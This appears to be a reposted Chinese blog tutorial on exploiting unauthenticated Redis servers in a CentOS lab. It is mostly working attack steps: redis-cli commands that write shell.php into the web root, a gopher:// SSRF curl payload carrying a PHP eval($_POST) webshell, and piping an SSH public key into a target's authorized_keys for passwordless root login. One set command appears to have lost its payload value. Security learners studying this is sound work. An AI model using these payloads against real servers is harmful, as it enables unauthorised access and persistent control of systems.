Redis 未授权利用

Redis 未授权

要点

  • redis 和 ssrf 经常绑定

  • redis 端口 6379

  • redis 在内网常见

由于服务安装启动的时候默认不需要账户名密码认证,并且默认可以直接向服务器写入文件,也不需要进行额外的配置,这种情况下会造成任意文件的写入,此时攻击者可以向 web 目录下写一句话木马,也可以写入 ssh 公钥

windows 下载 git 终端,生成公钥和私钥

利用:

  1. 如果有 web 服务,可以向 web 根目录下写一句话木马
  2. 如果服务器存在 ssh,直接写入 ssh 公钥实现免密码登录

安装 Redis

配置网络,确保能上网

查看网卡

ip a

Redis 未授权利用_第1张图片

编辑该网卡的配置文件

cd /etc/sysconfig/network-scripts/
vim ifcfg-ens33

自动分配 ip

Redis 未授权利用_第2张图片

重启网卡

systemctl restart network

配置 yum 源

进入 yum 源目录

cd /etc/yum.repos.d

删除官方源

mkdir bak
mv * bak

下载并补充 yum 源

wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm

Redis 未授权利用_第3张图片

下载 redis

yum install redis* -y

Redis 未授权利用_第4张图片

利用 redis 木马文件

启动 redis

redis-server

Redis 未授权利用_第5张图片

模拟创建 web 根目录

mkdir -p /var/www/html

启动 redis 客户端(另起一个终端)

redis-cli

模拟写入 php 语句

# 清空数据
flushall

# 定向哪个目录写文件
config set dir /var/www/html

# 指定数据库文件名
config set dbfilename shell.php

# 文件内容
set 'webshell' ''

save

quit

无需任何认证即可操作 redis 数据库,并且默认情况下就可以有对文件的写入操作

Redis 未授权利用_第6张图片

使用 gopher 配合 redis 写入一句话木马

curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A

redis 写入 ssh 公钥

windows 安装 git,一直点下一步

链接:https://pan.baidu.com/s/1uc4tGfo8tq7FGdUkE_XMtg?pwd=bgly
提取码:bgly

右键,打开 bash

Redis 未授权利用_第7张图片

生成 ssh 密钥

ssh-keygen -t rsa

Redis 未授权利用_第8张图片

Redis 未授权利用_第9张图片

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1As7bNAVZ0sdMUIK3R39XniwybqW0RWOugkbikk3584i+8QxoBtgV2GZPX2D2tMpQzkQrav0oQlZrPBnQNLb6UqmvoU+2j0wkxitqFNioy2cqfe2dmk4vMzLVoRVAVKrLNW5lvj88419mWutMIccELu0kIhzirvGCYPvPucEV0mkS1rBCua9k+KKNgulDMBPFpxcedr2vFg8SNL1Y2P87lcJaS0u/uHs5ERjQYLgyPUMC1WKWihRdOOI1LV3zSts6+QN/ly3WfH55MlpKQqOjFWEbIMEKOYtmILEAQfD0v5FFTPTcqZEnQe4C+BY7aPubjBelrCA6/FmBt9qMh1pmSiHL1Db9q8Kuw1Gncp/IWBIcqtsTsPyMx5TOW/EYUdYuhMauwi6CQpBHK3ORlJNZOgI5TeH729/pbuvi/Qj8PyByCyZapx4jCBJzkJSaTJwui1ykZvsmTSUQvZ2wB/iAuIqAi+8GyLQSBoTszQbdu/IbWAgETPSpNLQmFSdJ7M= LEGION@LAPTOP-J130AML3

redis 写入公钥

实战可以使用以下命令

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 10.9.47.159

手工模拟

cd /root/.ssh
vim authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1As7bNAVZ0sdMUIK3R39XniwybqW0RWOugkbikk3584i+8QxoBtgV2GZPX2D2tMpQzkQrav0oQlZrPBnQNLb6UqmvoU+2j0wkxitqFNioy2cqfe2dmk4vMzLVoRVAVKrLNW5lvj88419mWutMIccELu0kIhzirvGCYPvPucEV0mkS1rBCua9k+KKNgulDMBPFpxcedr2vFg8SNL1Y2P87lcJaS0u/uHs5ERjQYLgyPUMC1WKWihRdOOI1LV3zSts6+QN/ly3WfH55MlpKQqOjFWEbIMEKOYtmILEAQfD0v5FFTPTcqZEnQe4C+BY7aPubjBelrCA6/FmBt9qMh1pmSiHL1Db9q8Kuw1Gncp/IWBIcqtsTsPyMx5TOW/EYUdYuhMauwi6CQpBHK3ORlJNZOgI5TeH729/pbuvi/Qj8PyByCyZapx4jCBJzkJSaTJwui1ykZvsmTSUQvZ2wB/iAuIqAi+8GyLQSBoTszQbdu/IbWAgETPSpNLQmFSdJ7M= LEGION@LAPTOP-J130AML3

Redis 未授权利用_第10张图片

此时拥有 ssh 私钥的 git 所在及其就可以免密登录 redis 服务器的 22 端口

Redis 未授权利用_第11张图片

你可能感兴趣的:(redis,数据库,缓存,网络安全,web安全)